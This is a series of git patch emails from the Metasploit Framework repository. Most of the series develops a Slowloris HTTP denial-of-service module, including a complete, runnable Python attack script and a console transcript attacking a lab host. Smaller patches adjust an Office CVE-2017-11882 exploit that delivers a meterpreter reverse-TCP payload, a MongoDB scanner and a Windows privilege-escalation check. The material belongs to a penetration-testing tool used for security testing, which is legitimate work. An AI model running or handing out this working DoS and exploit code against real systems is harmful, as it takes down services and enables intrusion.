Date: Thu, 9 Nov 2017 19:58:10 +0000
Subject: [PATCH 194/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 3d1a40d4ca..6aacb93d2d 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       info,
       'Name'            => 'Slow Loris DoS',
       'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. 
-                              It accomplishes this by opening connections to the target web server and sending a partial request. 
+                              It accomplishes this by opening connections to the target web server and sending a partial request.
                               Periodically, it will send subsequent requests, adding to but never completing the request.},
       'License'         => MSF_LICENSE,
       'Author'          =>
@@ -32,7 +32,8 @@ class MetasploitModule < Msf::Auxiliary
       [
         Opt::RPORT(80),
         OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
-        OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
+        OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
+		OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
       ])
   end
 
@@ -43,16 +44,20 @@ class MetasploitModule < Msf::Auxiliary
   def headers
     datastore['HEADERS']
   end
+  
+  def timeout
+    datastore['TIMEOUT']
+  end
 
   def run
       starting_thread = 1
       header = "GET / HTTP/1.1\r\n"
       threads = []
-    
+
       loop do
-        print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
-        
-        1.upto([thread_count].min) do |i|
+        print_status("Executing requests #{starting_thread} - #{(starting_thread + thread_count) - 1}...")
+
+        1.upto(thread_count) do |i|
           threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
             begin
               connect()
@@ -60,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
               headers.times do
                 data = "X-a-#{rand(0..1000)}: b\r\n"
                 sock.puts(data)
-                sleep rand(1..15)
+                sleep rand(1..timeout)
               end
             end
           end
         end
         threads.each(&:join)
-        starting_thread += [thread_count].min
+        starting_thread += thread_count
       end
   end
 end

From 52f56527d80b1435c85d832f559d967417c6d007 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Thu, 9 Nov 2017 20:04:40 +0000
Subject: [PATCH 195/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 6aacb93d2d..d1b38d0377 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(
       info,
       'Name'            => 'Slow Loris DoS',
-      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. 
+      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
                               It accomplishes this by opening connections to the target web server and sending a partial request.
                               Periodically, it will send subsequent requests, adding to but never completing the request.},
       'License'         => MSF_LICENSE,
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
         Opt::RPORT(80),
         OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
         OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
-		OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
+        OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
       ])
   end
 
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
   def headers
     datastore['HEADERS']
   end
-  
+
   def timeout
     datastore['TIMEOUT']
   end

From e07fe77a69aac59622caedfaec0828c8e1920d81 Mon Sep 17 00:00:00 2001
From: Matthew Kienow <matthew_kienow@rapid7.com>
Date: Mon, 13 Nov 2017 18:51:07 -0500
Subject: [PATCH 196/254] Close sockets to resolve file handle error

---
 modules/auxiliary/dos/http/slow_loris.rb | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index d1b38d0377..5d96e3ad85 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -60,13 +60,14 @@ class MetasploitModule < Msf::Auxiliary
         1.upto(thread_count) do |i|
           threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
             begin
-              connect()
-              sock.puts(header)
+              current_sock = connect(global=false)
+              current_sock.puts(header)
               headers.times do
                 data = "X-a-#{rand(0..1000)}: b\r\n"
-                sock.puts(data)
+                current_sock.puts(data)
                 sleep rand(1..timeout)
               end
+              disconnect(nsock=current_sock)
             end
           end
         end

From db2bd22d860151d45ac761bda1fcee93ccf66b7a Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Tue, 14 Nov 2017 21:11:17 +0000
Subject: [PATCH 197/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 5d96e3ad85..daaa116ec0 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -63,7 +63,7 @@ class MetasploitModule < Msf::Auxiliary
               current_sock = connect(global=false)
               current_sock.puts(header)
               headers.times do
-                data = "X-a-#{rand(0..1000)}: b\r\n"
+                data = Rex::Text.rand_text_alpha(3) + "-#{rand(0..1000)}: b\r\n"
                 current_sock.puts(data)
                 sleep rand(1..timeout)
               end

From b6c81e6da0513a6e8a9b99272d884006453f094b Mon Sep 17 00:00:00 2001
From: Matthew Kienow <matthew_kienow@rapid7.com>
Date: Tue, 21 Nov 2017 16:21:01 -0500
Subject: [PATCH 198/254] Reimplement slowloris as external module

---
 .../modules/auxiliary/dos/http/slow_loris.md  |  43 ------
 .../modules/auxiliary/dos/http/slowloris.md   |  47 +++++++
 .../external/python/metasploit/module.py      |   6 +-
 modules/auxiliary/dos/http/slow_loris.rb      |  78 -----------
 modules/auxiliary/dos/http/slowloris.py       | 130 ++++++++++++++++++
 5 files changed, 180 insertions(+), 124 deletions(-)
 delete mode 100644 documentation/modules/auxiliary/dos/http/slow_loris.md
 create mode 100644 documentation/modules/auxiliary/dos/http/slowloris.md
 delete mode 100644 modules/auxiliary/dos/http/slow_loris.rb
 create mode 100755 modules/auxiliary/dos/http/slowloris.py

diff --git a/documentation/modules/auxiliary/dos/http/slow_loris.md b/documentation/modules/auxiliary/dos/http/slow_loris.md
deleted file mode 100644
index 26d66104bf..0000000000
--- a/documentation/modules/auxiliary/dos/http/slow_loris.md
+++ /dev/null
@@ -1,43 +0,0 @@
-## Vulnerable Application
-
-This module tries to keep many connections to the target web server open and hold them open as long as possible.
-
-To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
-
-Vulnerable app versions include:
-
-- Apache HTTP Server 1.x and 2.x
-- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
-
-## Verification Steps
-
-1. Start msfconsole
-2. Do: `use auxiliary/dos/http/slow_loris`
-3. Do: `set RHOST`
-4. Do: `run`
-5. Visit server URL in your web-browser.
-
-## Scenarios
-
-### Apache/2.2.8 - Ubuntu 8.04
-
-```
-msf > use auxiliary/dos/http/slow_loris
-msf auxiliary(slow_loris) > show options 
-
-Module options (auxiliary/dos/http/slow_loris):
-
-   Name     Current Setting  Required  Description
-   ----     ---------------  --------  -----------
-   HEADERS  10               yes       The number of custom headers sent by each thread
-   RHOST                     yes       The target address
-   RPORT    80               yes       The target port (TCP)
-   THREADS  1000             yes       The number of concurrent threads
-
-msf auxiliary(slow_loris) > set RHOST 192.168.216.129
-RHOST => 192.168.216.129
-msf auxiliary(slow_loris) > run
-
-[*] 192.168.216.129:80 - Executing requests 1 - 1000...
-
-```
diff --git a/documentation/modules/auxiliary/dos/http/slowloris.md b/documentation/modules/auxiliary/dos/http/slowloris.md
new file mode 100644
index 0000000000..dfa1937774
--- /dev/null
+++ b/documentation/modules/auxiliary/dos/http/slowloris.md
@@ -0,0 +1,47 @@
+## Vulnerable Application
+
+This module tries to keep many connections to the target web server open and hold them open as long as possible.
+
+To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
+
+Vulnerable application versions include:
+
+- Apache HTTP Server 1.x and 2.x
+- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
+
+## Verification Steps
+
+1. Start msfconsole
+2. Do: `use auxiliary/dos/http/slowloris`
+3. Do: `set RHOST`
+4. Do: `run`
+5. Visit server URL in your web-browser.
+
+## Scenarios
+
+### Apache/2.2.8 - Ubuntu 8.04
+
+```
+msf > use auxiliary/dos/http/slowloris
+msf auxiliary(slowloris) > show options
+
+Module options (auxiliary/dos/http/slowloris):
+
+   Name             Current Setting  Required  Description
+   ----             ---------------  --------  -----------
+   delay            15               yes       The delay between sending keep-alive headers
+   rand_user_agent  true             yes       Randomizes user-agent with each request
+   rhost            172.28.128.4     yes       The target address
+   rport            80               yes       The target port
+   sockets          150              yes       The number of sockets to use in the attack
+   ssl              false            yes       Negotiate SSL/TLS for outgoing connections
+
+msf auxiliary(slowloris) > set rhost 172.28.128.4
+rhost => 172.28.128.4
+msf auxiliary(slowloris) > run
+
+[*] Starting server...
+[*] Attacking 172.28.128.4 with 150 sockets
+[*] Creating sockets...
+[*] Sending keep-alive headers... Socket count: 150
+```
diff --git a/lib/msf/core/modules/external/python/metasploit/module.py b/lib/msf/core/modules/external/python/metasploit/module.py
index 2f12c8210d..9b5b563c6a 100644
--- a/lib/msf/core/modules/external/python/metasploit/module.py
+++ b/lib/msf/core/modules/external/python/metasploit/module.py
@@ -21,15 +21,15 @@ def report_service(ip, opts={}):
     }})
 
 
-def run(metadata, exploit):
+def run(metadata, module_callback):
     req = json.loads(os.read(0, 10000))
     if req['method'] == 'describe':
         rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
     elif req['method'] == 'run':
         args = req['params']
-        exploit(args)
+        module_callback(args)
         rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
-            'message': 'Exploit completed'
+            'message': 'Module completed'
         }})
 
 def rpc_send(req):
diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
deleted file mode 100644
index daaa116ec0..0000000000
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-##
-# This module requires Metasploit: https://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-class MetasploitModule < Msf::Auxiliary
-  include Msf::Exploit::Remote::Tcp
-  include Msf::Auxiliary::Dos
-
-  def initialize(info = {})
-    super(update_info(
-      info,
-      'Name'            => 'Slow Loris DoS',
-      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
-                              It accomplishes this by opening connections to the target web server and sending a partial request.
-                              Periodically, it will send subsequent requests, adding to but never completing the request.},
-      'License'         => MSF_LICENSE,
-      'Author'          =>
-        [
-          'RSnake', # Vulnerability disclosure
-          'Daniel Teixeira' # Metasploit module
-        ],
-      'References'      =>
-        [
-          [ 'CVE', '2007-6750' ],
-          [ 'CVE', '2010-2227' ],
-          [ 'URL', 'https://www.exploit-db.com/exploits/8976/' ]
-        ],
-    ))
-
-    register_options(
-      [
-        Opt::RPORT(80),
-        OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
-        OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
-        OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
-      ])
-  end
-
-  def thread_count
-    datastore['THREADS']
-  end
-
-  def headers
-    datastore['HEADERS']
-  end
-
-  def timeout
-    datastore['TIMEOUT']
-  end
-
-  def run
-      starting_thread = 1
-      header = "GET / HTTP/1.1\r\n"
-      threads = []
-
-      loop do
-        print_status("Executing requests #{starting_thread} - #{(starting_thread + thread_count) - 1}...")
-
-        1.upto(thread_count) do |i|
-          threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
-            begin
-              current_sock = connect(global=false)
-              current_sock.puts(header)
-              headers.times do
-                data = Rex::Text.rand_text_alpha(3) + "-#{rand(0..1000)}: b\r\n"
-                current_sock.puts(data)
-                sleep rand(1..timeout)
-              end
-              disconnect(nsock=current_sock)
-            end
-          end
-        end
-        threads.each(&:join)
-        starting_thread += thread_count
-      end
-  end
-end
diff --git a/modules/auxiliary/dos/http/slowloris.py b/modules/auxiliary/dos/http/slowloris.py
new file mode 100755
index 0000000000..81ddaa1b5f
--- /dev/null
+++ b/modules/auxiliary/dos/http/slowloris.py
@@ -0,0 +1,130 @@
+#!/usr/bin/env python
+# Note, works with both python 2.7 and 3
+
+import random
+import socket
+import ssl
+import sys
+import time
+
+from metasploit import module
+
+metadata = {
+    'name': 'Slowloris Denial of Service Attack',
+    'description': '''
+        Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
+        It accomplishes this by opening connections to the target web server and sending a partial request.
+        Periodically, it will send subsequent HTTP headers, adding to-but never completing-the request.
+        Affected servers will keep these connections open, filling their maximum concurrent connection pool,
+        eventually denying additional connection attempts from clients.
+     ''',
+    'authors': [
+        'RSnake',  # Vulnerability disclosure
+        'Gokberk Yaltirakli',  # Simple slowloris in Python
+        'Daniel Teixeira',  # Metasploit module (Ruby)
+        'Matthew Kienow <matthew_kienow[AT]rapid7.com>'  # Metasploit external module (Python)
+    ],
+    'date': '2009-06-17',
+    'references': [
+        {'type': 'cve', 'ref': '2007-6750'},
+        {'type': 'cve', 'ref': '2010-2227'},
+        {'type': 'url', 'ref': 'https://www.exploit-db.com/exploits/8976/'},
+        {'type': 'url', 'ref': 'https://github.com/gkbrk/slowloris'}
+     ],
+    'type': 'dos',
+    'options': {
+        'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},
+        'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 80},
+        'sockets': {'type': 'int', 'description': 'The number of sockets to use in the attack', 'required': True, 'default': 150},
+        'delay': {'type': 'int', 'description': 'The delay between sending keep-alive headers', 'required': True, 'default': 15},
+        'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},
+        'rand_user_agent': {'type': 'bool', 'description': 'Randomizes user-agent with each request', 'required': True, 'default': True}
+     }}
+
+list_of_sockets = []
+user_agents = [
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
+    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
+    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
+    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
+    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
+    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
+    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
+]
+
+def init_socket(host, port, use_ssl=False, rand_user_agent=True):
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.settimeout(4)
+
+    if use_ssl:
+        s = ssl.wrap_socket(s)
+
+    s.connect((host, port))
+
+    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
+
+    if rand_user_agent:
+        s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
+    else:
+        s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
+
+    s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
+    return s
+
+def run(args):
+    host = args['rhost']
+    port = int(args['rport'])
+    use_ssl = args['ssl'] == "true"
+    rand_user_agent = args['rand_user_agent'] == "true"
+    socket_count = int(args['sockets'])
+    delay = int(args['delay'])
+
+    module.log("Attacking %s with %s sockets" % (host, socket_count), 'info')
+
+    module.log("Creating sockets...", 'info')
+    for i in range(socket_count):
+        try:
+            module.log("Creating socket number %s" % (i), 'debug')
+            s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
+        except socket.error:
+            break
+        list_of_sockets.append(s)
+
+    while True:
+        module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
+        for s in list(list_of_sockets):
+            try:
+                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
+            except socket.error:
+                list_of_sockets.remove(s)
+
+        for _ in range(socket_count - len(list_of_sockets)):
+            module.log("Recreating socket...", 'debug')
+            try:
+                s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
+                if s:
+                    list_of_sockets.append(s)
+            except socket.error:
+                break
+        time.sleep(delay)
+
+if __name__ == "__main__":
+    module.run(metadata, run)

From 785e5944d665786b273ae067f908bd64215493a0 Mon Sep 17 00:00:00 2001
From: Matthew Kienow <matthew_kienow@rapid7.com>
Date: Tue, 21 Nov 2017 18:19:20 -0500
Subject: [PATCH 199/254] Enhanced slowloris HTTP headers and minor cleanup

---
 modules/auxiliary/dos/http/slowloris.py | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/modules/auxiliary/dos/http/slowloris.py b/modules/auxiliary/dos/http/slowloris.py
index 81ddaa1b5f..416b1bbf5e 100755
--- a/modules/auxiliary/dos/http/slowloris.py
+++ b/modules/auxiliary/dos/http/slowloris.py
@@ -4,7 +4,7 @@
 import random
 import socket
 import ssl
-import sys
+import string
 import time
 
 from metasploit import module
@@ -70,6 +70,11 @@ user_agents = [
     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
 ]
 
+
+def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_lowercase):
+    return ''.join(random.choice(seq) for _ in range(size))
+
+
 def init_socket(host, port, use_ssl=False, rand_user_agent=True):
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.settimeout(4)
@@ -89,6 +94,7 @@ def init_socket(host, port, use_ssl=False, rand_user_agent=True):
     s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
     return s
 
+
 def run(args):
     host = args['rhost']
     port = int(args['rport'])
@@ -102,7 +108,7 @@ def run(args):
     module.log("Creating sockets...", 'info')
     for i in range(socket_count):
         try:
-            module.log("Creating socket number %s" % (i), 'debug')
+            module.log("Creating socket number %s" % i, 'debug')
             s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
         except socket.error:
             break
@@ -112,7 +118,9 @@ def run(args):
         module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
         for s in list(list_of_sockets):
             try:
-                s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
+                s.send("{}: {}\r\n".format(create_random_header_name(random.randint(8, 16)),
+                                           random.randint(1, 5000)).encode("utf-8"))
+
             except socket.error:
                 list_of_sockets.remove(s)
 
@@ -126,5 +134,6 @@ def run(args):
                 break
         time.sleep(delay)
 
+
 if __name__ == "__main__":
     module.run(metadata, run)

From 81c6823b729062bb44e85180bfa4926be458a85c Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 21 Nov 2017 17:50:53 -0600
Subject: [PATCH 200/254] handle interrupt and unknown exceptions properly with
 external modules

---
 lib/msf/core/module/external.rb | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb
index 5a6c1bf29d..4c08d5a4e2 100644
--- a/lib/msf/core/module/external.rb
+++ b/lib/msf/core/module/external.rb
@@ -17,9 +17,11 @@ module Msf::Module::External
           end
         end
       end
-    rescue Exception => e #Msf::Modules::External::Bridge::Error => e
+    rescue Interrupt => e
+      raise e
+    rescue Exception => e
       elog e.backtrace.join("\n")
-      fail_with Failure::UNKNOWN, e.message
+      fail_with Msf::Module::Failure::Unknown, e.message
     end
   end
 

From db4c0fcca989162c12c1e811660cfb63f9083259 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 21 Nov 2017 19:02:14 -0500
Subject: [PATCH 201/254] spelling

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 83995534f2..9592fbad75 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -171,12 +171,12 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def on_request_uri(cli, _request)
     if _request.raw_uri =~ /\.sct$/
-      print_status("Handling initial request from #{cli.peerhost}")
+      print_status("Handling request for .sct from #{cli.peerhost}")
       payload = gen_psh("#{get_uri}", "string")
       data = gen_sct_file(payload)
       send_response(cli, data, 'Content-Type' => 'text/plain')
     else
-      print_status("Stage two requested, sending...")
+      print_status("Delivering payload...")
       p = regenerate_payload(cli)
       data = cmd_psh_payload(p.encoded,
                        payload_instance.arch.first,

From 275f70e77e9decfd42ca6d67be3ea840f67876e1 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 21 Nov 2017 19:34:04 -0500
Subject: [PATCH 202/254] better saving

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 9592fbad75..1e52fcc476 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
     ))
 
     register_options([
-        OptString.new("FILENAME", [true, "Filename to save as"])
+        OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"])
     ])
   end
 
@@ -134,10 +134,12 @@ class MetasploitModule < Msf::Exploit::Remote
     payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
     payload = header + payload + footer
 
-    ::File.open(datastore['FILENAME'], 'wb') do |fd|
+    path = ::File.join(Msf::Config.local_directory, datastore['FILENAME'])
+    ::File.open(path, 'wb') do |fd|
       fd.write(payload)
       fd.close
     end
+    print_good("Wrote payload to #{path}")
   end
 
 
@@ -176,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote
       data = gen_sct_file(payload)
       send_response(cli, data, 'Content-Type' => 'text/plain')
     else
-      print_status("Delivering payload...")
+      print_status("Delivering payload to #{cli.peerhost}...")
       p = regenerate_payload(cli)
       data = cmd_psh_payload(p.encoded,
                        payload_instance.arch.first,

From 960893b99dca4f845cce067319c26d68b5914d8b Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Wed, 22 Nov 2017 06:36:46 -0500
Subject: [PATCH 203/254] change default payload

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 1e52fcc476..f87d1032fb 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
       },
       'DefaultOptions' => {
         'EXITFUNC' => 'thread',
-        'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+        'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
       }
     ))
 

From ae43883e2b4c830fa9dbc49381d8b9fb0054a2ea Mon Sep 17 00:00:00 2001
From: attackdebris <attackdebris@gmail.com>
Date: Wed, 22 Nov 2017 08:03:12 -0500
Subject: [PATCH 204/254] Fix mongodb_login typo

---
 modules/auxiliary/scanner/mongodb/mongodb_login.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb
index 532b649332..092258531f 100644
--- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb
+++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
           :exploited_at => Time.now.utc,
           :info         => "Mongo server has no authentication."
         )
-        print_good("Mongo server #{ip.to_s} dosn't use authentication")
+        print_good("Mongo server #{ip.to_s} doesn't use authentication")
       end
       disconnect
     rescue ::Exception => e

From 0d79a3a3e284a71805a3ac69f0fc32c2b7fc1d30 Mon Sep 17 00:00:00 2001
From: vipzen <7483228+vipzen@users.noreply.github.com>
Date: Thu, 23 Nov 2017 08:35:55 -0200
Subject: [PATCH 205/254] Add support to Windows .NET Server

---
 modules/exploits/windows/local/ms10_015_kitrap0d.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb
index f195409a4f..c1152c0670 100644
--- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb
+++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Local
 
     # Validate OS version
     winver = sysinfo["OS"]
-    unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/
+    unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows .NET Server|Windows 2008|Windows 7/
